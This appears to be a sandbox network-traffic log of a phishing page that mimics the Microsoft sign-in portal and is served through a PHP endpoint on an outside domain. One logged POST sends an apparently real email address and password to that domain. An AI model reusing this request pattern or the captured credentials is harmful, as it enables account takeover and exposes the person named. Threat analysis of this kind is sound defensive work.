2024-10-24 09:57:47 UTC	284	IN	Data Raw: 32 62 36 63 0d 0a 7b 22 6c 69 76 65 22 3a 66 61 6c 73 65 2c 22 69 73 5f 62 75 73 69 6e 65 73 73 22 3a 74 72 75 65 2c 22 65 64 75 22 3a 66 61 6c 73 65 2c 22 72 6f 6c 65 22 3a 66 61 6c 73 65 2c 22 61 70 70 22 3a 66 61 6c 73 65 2c 22 32 66 61 22 3a 66 61 6c 73 65 2c 22 73 6d 73 22 3a 66 61 6c 73 65 2c 22 61 70 70 63 6f 64 65 22 3a 66 61 6c 73 65 2c 22 63 61 6c 6c 22 3a 66 61 6c 73 65 2c 22 73 73 6f 22 3a 66 61 6c 73 65 2c 22 6f 6b 74 61 22 3a 66 61 6c 73 65 2c 22 61 64 66 73 22 3a 66 61 6c 73 65 2c 22 6e 6f 72 6d 61 6c 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 22 5c 72 5c 6e 5c 72 5c 6e 26 6c 74 3b 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 Data Ascii: 2b6c{"live":false,"is_business":true,"edu":false,"role":false,"app":false,"2fa":false,"sms":false,"appcode":false,"call":false,"sso":false,"okta":false,"adfs":false,"normal":true,"result":"\r\n\r\n<!-- Copyright (C) Microsoft Corporation. All rights
2024-10-24 09:57:47 UTC	1369	IN	Data Raw: 59 50 45 20 68 74 6d 6c 26 67 74 3b 5c 72 5c 6e 26 6c 74 3b 68 74 6d 6c 20 64 69 72 3d 26 71 75 6f 74 3b 6c 74 72 26 71 75 6f 74 3b 20 63 6c 61 73 73 3d 26 71 75 6f 74 3b 26 71 75 6f 74 3b 20 6c 61 6e 67 3d 26 71 75 6f 74 3b 65 6e 26 71 75 6f 74 3b 26 67 74 3b 5c 72 5c 6e 26 6c 74 3b 68 65 61 64 26 67 74 3b 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 74 69 74 6c 65 26 67 74 3b 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 26 6c 74 3b 5c 2f 74 69 74 6c 65 26 67 74 3b 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 26 71 75 6f 74 3b 43 6f 6e 74 65 6e 74 2d 54 79 70 65 26 71 75 6f 74 3b 20 63 6f 6e 74 65 6e 74 3d 26 71 75 6f 74 3b 74 65 78 74 5c 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 26 Data Ascii: YPE html>\r\n<html dir="ltr" class="" lang="en">\r\n<head>\r\n <title>Sign in to your account<\/title>\r\n <meta http-equiv="Content-Type" content="text\/html; charset=UTF-8&
2024-10-24 09:57:47 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 3d 26 71 75 6f 74 3b 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 26 71 75 6f 74 3b 20 5c 2f 26 67 74 3b 5c 72 5c 6e 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 6e 6f 73 63 72 69 70 74 26 67 74 3b 5c 72 5c 6e 20 20 20 20 20 20 20 20 26 6c 74 3b 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 26 71 75 6f 74 3b 52 65 66 72 65 73 68 26 71 75 6f 74 3b 20 63 6f 6e 74 65 6e 74 3d 26 71 75 6f 74 3b 30 3b 20 55 52 4c 3d 68 74 74 70 73 3a 5c 2f 5c 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 5c 2f 6a 73 64 69 73 61 62 6c 65 64 26 71 75 6f 74 3b 20 5c 2f 26 67 74 3b 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 5c 2f 6e 6f 73 63 72 69 70 74 26 67 74 3b 5c 72 5c 6e 5c 72 5c 6e 20 20 20 20 5c 72 5c 6e 20 20 20 20 5c 72 5c 6e 26 6c 74 3b 6d 65 Data Ascii: ontent="telephone=no" \/>\r\n\r\n <noscript>\r\n <meta http-equiv="Refresh" content="0; URL=https:\/\/login.microsoftonline.com\/jsdisabled" \/>\r\n <\/noscript>\r\n\r\n \r\n \r\n<me
2024-10-24 09:57:47 UTC	1369	IN	Data Raw: 30 30 32 36 73 69 67 6e 75 70 3d 31 5c 5c 75 30 30 32 36 6c 77 3d 31 5c 5c 75 30 30 32 36 66 6c 3d 65 61 73 69 32 5c 5c 75 30 30 32 36 65 70 63 74 3d 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 37 41 39 53 69 77 54 62 45 37 61 61 30 67 2d 6b 78 65 49 63 35 34 50 53 43 6c 78 78 6a 65 31 58 47 44 6a 39 31 6a 4d 6b 67 4a 62 49 38 72 6a 75 53 58 67 55 62 62 32 53 54 68 45 6d 68 44 31 2d 5f 6a 51 4d 51 4f 51 49 4c 34 61 61 77 64 4b 55 4e 6b 33 56 4b 79 33 58 39 2d 57 2d 4d 75 43 64 52 5f 55 57 5f 34 33 4c 4d 43 34 44 49 42 35 36 32 36 61 35 31 66 32 52 5a 6f 33 2d 61 78 33 71 4c 44 36 61 65 75 49 62 55 62 58 45 79 61 39 58 4d 68 41 44 47 57 73 77 65 73 32 69 44 6c 43 36 32 79 56 4e 75 77 71 73 4d 79 49 65 Data Ascii: 0026signup=1\\u0026lw=1\\u0026fl=easi2\\u0026epct=PAQABDgEAAADW6jl31mB3T7ugrWTT8pFe7A9SiwTbE7aa0g-kxeIc54PSClxxje1XGDj91jMkgJbI8rjuSXgUbb2SThEmhD1-_jQMQOQIL4aawdKUNk3VKy3X9-W-MuCdR_UW_43LMC4DIB5626a51f2RZo3-ax3qLD6aeuIbUbXEya9XMhADGWswes2iDlC62yVNuwqsMyIe
2024-10-24 09:57:47 UTC	1369	IN	Data Raw: 30 32 36 78 2d 63 6c 69 65 6e 74 2d 53 4b 55 3d 49 44 5f 4e 45 54 38 5f 30 5c 5c 75 30 30 32 36 78 2d 63 6c 69 65 6e 74 2d 56 65 72 3d 37 2e 35 2e 31 2e 30 5c 5c 75 30 30 32 36 75 61 69 64 3d 38 34 64 61 34 34 66 37 33 62 66 37 34 36 32 39 62 34 36 36 36 62 31 65 30 65 62 65 63 31 65 31 5c 5c 75 30 30 32 36 6d 73 70 72 6f 78 79 3d 31 5c 5c 75 30 30 32 36 69 73 73 75 65 72 3d 6d 73 6f 5c 5c 75 30 30 32 36 74 65 6e 61 6e 74 3d 63 6f 6d 6d 6f 6e 5c 5c 75 30 30 32 36 75 69 5f 6c 6f 63 61 6c 65 73 3d 65 6e 2d 55 53 5c 5c 75 30 30 32 36 65 70 63 74 3d 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 63 7a 59 6e 61 52 64 4a 4d 49 77 62 6e 43 36 70 7a 32 36 4f 7a 38 48 74 79 37 79 65 66 41 77 6c 64 30 71 54 72 53 Data Ascii: 026x-client-SKU=ID_NET8_0\\u0026x-client-Ver=7.5.1.0\\u0026uaid=84da44f73bf74629b4666b1e0ebec1e1\\u0026msproxy=1\\u0026issuer=mso\\u0026tenant=common\\u0026ui_locales=en-US\\u0026epct=PAQABDgEAAADW6jl31mB3T7ugrWTT8pFeczYnaRdJMIwbnC6pz26Oz8Hty7yefAwld0qTrS
2024-10-24 09:57:47 UTC	1369	IN	Data Raw: 61 7e 33 35 39 21 21 21 42 46 7e 42 75 72 6b 69 6e 61 20 46 61 73 6f 7e 32 32 36 21 21 21 42 49 7e 42 75 72 75 6e 64 69 7e 32 35 37 21 21 21 43 56 7e 43 61 62 6f 20 56 65 72 64 65 7e 32 33 38 21 21 21 4b 48 7e 43 61 6d 62 6f 64 69 61 7e 38 35 35 21 21 21 43 4d 7e 43 61 6d 65 72 6f 6f 6e 7e 32 33 37 21 21 21 43 41 7e 43 61 6e 61 64 61 7e 31 21 21 21 4b 59 7e 43 61 79 6d 61 6e 20 49 73 6c 61 6e 64 73 7e 31 21 21 21 43 46 7e 43 65 6e 74 72 61 6c 20 41 66 72 69 63 61 6e 20 52 65 70 75 62 6c 69 63 7e 32 33 36 21 21 21 54 44 7e 43 68 61 64 7e 32 33 35 21 21 21 43 4c 7e 43 68 69 6c 65 7e 35 36 21 21 21 43 4e 7e 43 68 69 6e 61 7e 38 36 21 21 21 43 58 7e 43 68 72 69 73 74 6d 61 73 20 49 73 6c 61 6e 64 7e 36 31 21 21 21 43 43 7e 43 6f 63 6f 73 20 28 4b 65 65 6c 69 Data Ascii: a~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeli
2024-10-24 09:57:47 UTC	1369	IN	Data Raw: 21 21 4a 45 7e 4a 65 72 73 65 79 7e 34 34 21 21 21 4a 4f 7e 4a 6f 72 64 61 6e 7e 39 36 32 21 21 21 4b 5a 7e 4b 61 7a 61 6b 68 73 74 61 6e 7e 37 21 21 21 4b 45 7e 4b 65 6e 79 61 7e 32 35 34 21 21 21 4b 49 7e 4b 69 72 69 62 61 74 69 7e 36 38 36 21 21 21 4b 52 7e 4b 6f 72 65 61 7e 38 32 21 21 21 4b 57 7e 4b 75 77 61 69 74 7e 39 36 35 21 21 21 4b 47 7e 4b 79 72 67 79 7a 73 74 61 6e 7e 39 39 36 21 21 21 4c 41 7e 4c 61 6f 73 7e 38 35 36 21 21 21 4c 56 7e 4c 61 74 76 69 61 7e 33 37 31 21 21 21 4c 42 7e 4c 65 62 61 6e 6f 6e 7e 39 36 31 21 21 21 4c 53 7e 4c 65 73 6f 74 68 6f 7e 32 36 36 21 21 21 4c 52 7e 4c 69 62 65 72 69 61 7e 32 33 31 21 21 21 4c 59 7e 4c 69 62 79 61 7e 32 31 38 21 21 21 4c 49 7e 4c 69 65 63 68 74 65 6e 73 74 65 69 6e 7e 34 32 33 21 21 21 4c 54 Data Ascii: !!JE~Jersey~44!!!JO~Jordan~962!!!KZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT
2024-10-24 09:57:47 UTC	1369	IN	Data Raw: 21 4d 46 7e 53 61 69 6e 74 20 4d 61 72 74 69 6e 7e 35 39 30 21 21 21 50 4d 7e 53 61 69 6e 74 20 50 69 65 72 72 65 20 61 6e 64 20 4d 69 71 75 65 6c 6f 6e 7e 35 30 38 21 21 21 56 43 7e 53 61 69 6e 74 20 56 69 6e 63 65 6e 74 20 61 6e 64 20 74 68 65 20 47 72 65 6e 61 64 69 6e 65 73 7e 31 21 21 21 57 53 7e 53 61 6d 6f 61 7e 36 38 35 21 21 21 53 4d 7e 53 61 6e 20 4d 61 72 69 6e 6f 7e 33 37 38 21 21 21 53 54 7e 53 26 61 74 69 6c 64 65 3b 6f 20 54 6f 6d 26 65 61 63 75 74 65 3b 20 61 6e 64 20 50 72 26 69 61 63 75 74 65 3b 6e 63 69 70 65 7e 32 33 39 21 21 21 53 41 7e 53 61 75 64 69 20 41 72 61 62 69 61 7e 39 36 36 21 21 21 53 4e 7e 53 65 6e 65 67 61 6c 7e 32 32 31 21 21 21 52 53 7e 53 65 72 62 69 61 7e 33 38 31 21 21 21 53 43 7e 53 65 79 63 68 65 6c 6c 65 73 7e 32 Data Ascii: !MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~2
2024-10-24 09:57:47 UTC	1257	IN	Data Raw: 72 75 65 2c 26 71 75 6f 74 3b 66 53 68 6f 75 6c 64 53 75 70 70 6f 72 74 54 61 72 67 65 74 43 72 65 64 65 6e 74 69 61 6c 46 6f 72 52 65 63 6f 76 65 72 79 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 46 69 78 52 65 73 65 74 54 61 72 67 65 74 43 72 65 64 65 6e 74 69 61 6c 46 6f 72 52 65 63 6f 76 65 72 79 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 41 76 6f 69 64 4e 65 77 4f 74 63 47 65 6e 65 72 61 74 69 6f 6e 57 68 65 6e 41 6c 72 65 61 64 79 53 65 6e 74 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 55 73 65 50 72 6f 6d 6f 74 65 64 46 65 64 43 72 65 64 54 79 70 65 73 41 72 72 61 79 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 55 73 65 43 65 72 74 69 66 69 63 61 74 65 49 6e 74 65 72 73 74 69 74 69 61 6c 56 69 65 Data Ascii: rue,"fShouldSupportTargetCredentialForRecovery":true,"fFixResetTargetCredentialForRecovery":true,"fAvoidNewOtcGenerationWhenAlreadySent":true,"fUsePromotedFedCredTypesArray":true,"fUseCertificateInterstitialVie

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49748	104.21.68.211	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:49 UTC	447	OUT	GET /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php HTTP/1.1 Host: amsroofinginc.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=v4n7qeheaegngerc6unnh0c883
2024-10-24 09:57:49 UTC	1032	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:57:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yDEhTnXdLTzTeO6%2F7zLyHKekaI0jg%2Bpk%2B1sp30ycVDhAdR%2BQuGyveviPa8WRvScwNRUWLD3IyDpz9ZEHp72mmqEvdrYhXAhHw94rNdU7s9y4ri%2FIocle1NGHbqA7BsSlqbZw2g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d791ad62a2a6c74-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1974&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1025&delivery_rate=1513061&cwnd=251&unsent_bytes=0&cid=d684457f0dcdf824&ts=715&x=0"
2024-10-24 09:57:49 UTC	337	IN	Data Raw: 31 62 30 0d 0a 7b 22 6c 69 76 65 22 3a 66 61 6c 73 65 2c 22 69 73 5f 62 75 73 69 6e 65 73 73 22 3a 66 61 6c 73 65 2c 22 65 64 75 22 3a 66 61 6c 73 65 2c 22 72 6f 6c 65 22 3a 66 61 6c 73 65 2c 22 61 70 70 22 3a 66 61 6c 73 65 2c 22 32 66 61 22 3a 66 61 6c 73 65 2c 22 73 6d 73 22 3a 66 61 6c 73 65 2c 22 61 70 70 63 6f 64 65 22 3a 66 61 6c 73 65 2c 22 63 61 6c 6c 22 3a 66 61 6c 73 65 2c 22 73 73 6f 22 3a 66 61 6c 73 65 2c 22 6f 6b 74 61 22 3a 66 61 6c 73 65 2c 22 61 64 66 73 22 3a 66 61 6c 73 65 2c 22 6e 6f 72 6d 61 6c 22 3a 66 61 6c 73 65 2c 22 72 65 73 75 6c 74 22 3a 22 7b 26 71 75 6f 74 3b 65 72 72 6f 72 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 63 6f 64 65 26 71 75 6f 74 3b 3a 36 30 30 32 2c 26 71 75 6f 74 3b 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 26 71 Data Ascii: 1b0{"live":false,"is_business":false,"edu":false,"role":false,"app":false,"2fa":false,"sms":false,"appcode":false,"call":false,"sso":false,"okta":false,"adfs":false,"normal":false,"result":"{"error":{"code":6002,"correlationId&q
2024-10-24 09:57:49 UTC	102	IN	Data Raw: 32 30 32 34 2d 31 30 2d 32 34 20 30 39 3a 35 37 3a 34 39 5a 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 69 73 46 61 74 61 6c 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 6d 65 73 73 61 67 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 41 41 44 53 54 53 31 36 35 39 30 30 26 71 75 6f 74 3b 7d 7d 22 7d 0d 0a Data Ascii: 2024-10-24 09:57:49Z","isFatal":true,"message":"AADSTS165900"}}"}
2024-10-24 09:57:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49750	104.21.68.211	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:53 UTC	679	OUT	POST /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php HTTP/1.1 Host: amsroofinginc.org Connection: keep-alive Content-Length: 58 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:53 UTC	58	OUT	Data Raw: 64 70 5f 6d 3d 61 6e 6e 2d 6b 61 74 68 72 69 6e 2e 6b 6f 63 68 25 34 30 65 6c 6b 61 6d 65 74 2e 64 65 26 64 70 5f 70 3d 74 72 6a 66 7a 6a 6b 72 73 6a 34 77 6a 6b 77 6a 6b 35 Data Ascii: dp_m=ann-kathrin.koch%40elkamet.de&dp_p=trjfzjkrsj4wjkwjk5
2024-10-24 09:57:56 UTC	1085	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:57:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b5phuvrvktb9klcgtjj79kengu; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bvgwv9jp9slhXeowXhJEGJstPOACw15AOBhFVp3itqK4amDuo4LCcgAABvlLAeIuxmas7mTw4QwRDIZHbauPE9fQqqkNkCuIwpxVuBjyGOJxtHsMrN6NgzSIPdf%2FHPCiMh%2BQ7g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d791af498f26bda-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1047&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1337&delivery_rate=2734655&cwnd=239&unsent_bytes=0&cid=7f282deb04fa2933&ts=2181&x=0"
2024-10-24 09:57:56 UTC	284	IN	Data Raw: 37 63 32 32 0d 0a 7b 22 6c 69 76 65 22 3a 66 61 6c 73 65 2c 22 69 73 5f 62 75 73 69 6e 65 73 73 22 3a 74 72 75 65 2c 22 65 64 75 22 3a 66 61 6c 73 65 2c 22 72 6f 6c 65 22 3a 66 61 6c 73 65 2c 22 61 70 70 22 3a 66 61 6c 73 65 2c 22 32 66 61 22 3a 66 61 6c 73 65 2c 22 73 6d 73 22 3a 66 61 6c 73 65 2c 22 61 70 70 63 6f 64 65 22 3a 66 61 6c 73 65 2c 22 63 61 6c 6c 22 3a 66 61 6c 73 65 2c 22 73 73 6f 22 3a 66 61 6c 73 65 2c 22 6f 6b 74 61 22 3a 66 61 6c 73 65 2c 22 61 64 66 73 22 3a 66 61 6c 73 65 2c 22 6e 6f 72 6d 61 6c 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 22 5c 72 5c 6e 5c 72 5c 6e 26 6c 74 3b 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 Data Ascii: 7c22{"live":false,"is_business":true,"edu":false,"role":false,"app":false,"2fa":false,"sms":false,"appcode":false,"call":false,"sso":false,"okta":false,"adfs":false,"normal":true,"result":"\r\n\r\n<!-- Copyright (C) Microsoft Corporation. All rights
2024-10-24 09:57:56 UTC	1369	IN	Data Raw: 59 50 45 20 68 74 6d 6c 26 67 74 3b 5c 72 5c 6e 26 6c 74 3b 68 74 6d 6c 20 64 69 72 3d 26 71 75 6f 74 3b 6c 74 72 26 71 75 6f 74 3b 20 63 6c 61 73 73 3d 26 71 75 6f 74 3b 26 71 75 6f 74 3b 20 6c 61 6e 67 3d 26 71 75 6f 74 3b 65 6e 26 71 75 6f 74 3b 26 67 74 3b 5c 72 5c 6e 26 6c 74 3b 68 65 61 64 26 67 74 3b 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 74 69 74 6c 65 26 67 74 3b 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 26 6c 74 3b 5c 2f 74 69 74 6c 65 26 67 74 3b 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 26 71 75 6f 74 3b 43 6f 6e 74 65 6e 74 2d 54 79 70 65 26 71 75 6f 74 3b 20 63 6f 6e 74 65 6e 74 3d 26 71 75 6f 74 3b 74 65 78 74 5c 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 26 Data Ascii: YPE html>\r\n<html dir="ltr" class="" lang="en">\r\n<head>\r\n <title>Sign in to your account<\/title>\r\n <meta http-equiv="Content-Type" content="text\/html; charset=UTF-8&
2024-10-24 09:57:56 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 3d 26 71 75 6f 74 3b 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 26 71 75 6f 74 3b 20 5c 2f 26 67 74 3b 5c 72 5c 6e 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 6e 6f 73 63 72 69 70 74 26 67 74 3b 5c 72 5c 6e 20 20 20 20 20 20 20 20 26 6c 74 3b 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 26 71 75 6f 74 3b 52 65 66 72 65 73 68 26 71 75 6f 74 3b 20 63 6f 6e 74 65 6e 74 3d 26 71 75 6f 74 3b 30 3b 20 55 52 4c 3d 68 74 74 70 73 3a 5c 2f 5c 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 5c 2f 6a 73 64 69 73 61 62 6c 65 64 26 71 75 6f 74 3b 20 5c 2f 26 67 74 3b 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 5c 2f 6e 6f 73 63 72 69 70 74 26 67 74 3b 5c 72 5c 6e 5c 72 5c 6e 20 20 20 20 5c 72 5c 6e 20 20 20 20 5c 72 5c 6e 26 6c 74 3b 6d 65 Data Ascii: ontent="telephone=no" \/>\r\n\r\n <noscript>\r\n <meta http-equiv="Refresh" content="0; URL=https:\/\/login.microsoftonline.com\/jsdisabled" \/>\r\n <\/noscript>\r\n\r\n \r\n \r\n<me
2024-10-24 09:57:56 UTC	1369	IN	Data Raw: 30 30 32 36 73 69 67 6e 75 70 3d 31 5c 5c 75 30 30 32 36 6c 77 3d 31 5c 5c 75 30 30 32 36 66 6c 3d 65 61 73 69 32 5c 5c 75 30 30 32 36 65 70 63 74 3d 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 63 51 61 41 6f 74 56 57 71 63 41 4f 55 63 66 77 33 6f 62 34 74 4c 64 44 37 4a 75 71 79 4c 50 51 43 47 50 50 4a 49 30 30 71 78 57 4c 4b 61 6c 6a 51 48 79 36 72 64 6e 7a 44 57 4b 6c 30 67 55 56 38 4e 79 4e 5f 30 4a 46 6d 6c 78 69 51 2d 6e 46 49 4d 52 59 33 4b 46 65 6f 31 58 35 4b 78 6d 72 46 72 47 31 46 6e 38 2d 68 49 33 6d 64 74 5f 50 2d 6b 49 4f 63 39 31 2d 76 75 68 6e 76 37 6c 34 4f 30 48 37 75 4a 69 45 78 54 67 6e 45 4a 49 47 73 5a 6c 37 34 58 38 6a 6b 65 69 49 57 62 6d 36 42 75 64 69 6b 53 4c 7a 34 4c 6e 61 Data Ascii: 0026signup=1\\u0026lw=1\\u0026fl=easi2\\u0026epct=PAQABDgEAAADW6jl31mB3T7ugrWTT8pFecQaAotVWqcAOUcfw3ob4tLdD7JuqyLPQCGPPJI00qxWLKaljQHy6rdnzDWKl0gUV8NyN_0JFmlxiQ-nFIMRY3KFeo1X5KxmrFrG1Fn8-hI3mdt_P-kIOc91-vuhnv7l4O0H7uJiExTgnEJIGsZl74X8jkeiIWbm6BudikSLz4Lna
2024-10-24 09:57:56 UTC	1369	IN	Data Raw: 30 32 36 78 2d 63 6c 69 65 6e 74 2d 53 4b 55 3d 49 44 5f 4e 45 54 38 5f 30 5c 5c 75 30 30 32 36 78 2d 63 6c 69 65 6e 74 2d 56 65 72 3d 37 2e 35 2e 31 2e 30 5c 5c 75 30 30 32 36 75 61 69 64 3d 64 65 64 61 38 63 66 66 33 62 63 34 34 35 30 64 61 65 35 35 37 62 38 32 30 39 31 36 30 66 30 37 5c 5c 75 30 30 32 36 6d 73 70 72 6f 78 79 3d 31 5c 5c 75 30 30 32 36 69 73 73 75 65 72 3d 6d 73 6f 5c 5c 75 30 30 32 36 74 65 6e 61 6e 74 3d 63 6f 6d 6d 6f 6e 5c 5c 75 30 30 32 36 75 69 5f 6c 6f 63 61 6c 65 73 3d 65 6e 2d 55 53 5c 5c 75 30 30 32 36 65 70 63 74 3d 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 31 4f 55 50 6a 4c 50 34 4d 53 55 6e 50 70 45 54 68 6d 48 37 73 31 73 4b 77 45 56 34 59 49 4c 52 35 73 4b 6d 69 48 Data Ascii: 026x-client-SKU=ID_NET8_0\\u0026x-client-Ver=7.5.1.0\\u0026uaid=deda8cff3bc4450dae557b8209160f07\\u0026msproxy=1\\u0026issuer=mso\\u0026tenant=common\\u0026ui_locales=en-US\\u0026epct=PAQABDgEAAADW6jl31mB3T7ugrWTT8pFe1OUPjLP4MSUnPpEThmH7s1sKwEV4YILR5sKmiH
2024-10-24 09:57:56 UTC	1369	IN	Data Raw: 61 7e 33 35 39 21 21 21 42 46 7e 42 75 72 6b 69 6e 61 20 46 61 73 6f 7e 32 32 36 21 21 21 42 49 7e 42 75 72 75 6e 64 69 7e 32 35 37 21 21 21 43 56 7e 43 61 62 6f 20 56 65 72 64 65 7e 32 33 38 21 21 21 4b 48 7e 43 61 6d 62 6f 64 69 61 7e 38 35 35 21 21 21 43 4d 7e 43 61 6d 65 72 6f 6f 6e 7e 32 33 37 21 21 21 43 41 7e 43 61 6e 61 64 61 7e 31 21 21 21 4b 59 7e 43 61 79 6d 61 6e 20 49 73 6c 61 6e 64 73 7e 31 21 21 21 43 46 7e 43 65 6e 74 72 61 6c 20 41 66 72 69 63 61 6e 20 52 65 70 75 62 6c 69 63 7e 32 33 36 21 21 21 54 44 7e 43 68 61 64 7e 32 33 35 21 21 21 43 4c 7e 43 68 69 6c 65 7e 35 36 21 21 21 43 4e 7e 43 68 69 6e 61 7e 38 36 21 21 21 43 58 7e 43 68 72 69 73 74 6d 61 73 20 49 73 6c 61 6e 64 7e 36 31 21 21 21 43 43 7e 43 6f 63 6f 73 20 28 4b 65 65 6c 69 Data Ascii: a~359!!!BF~Burkina 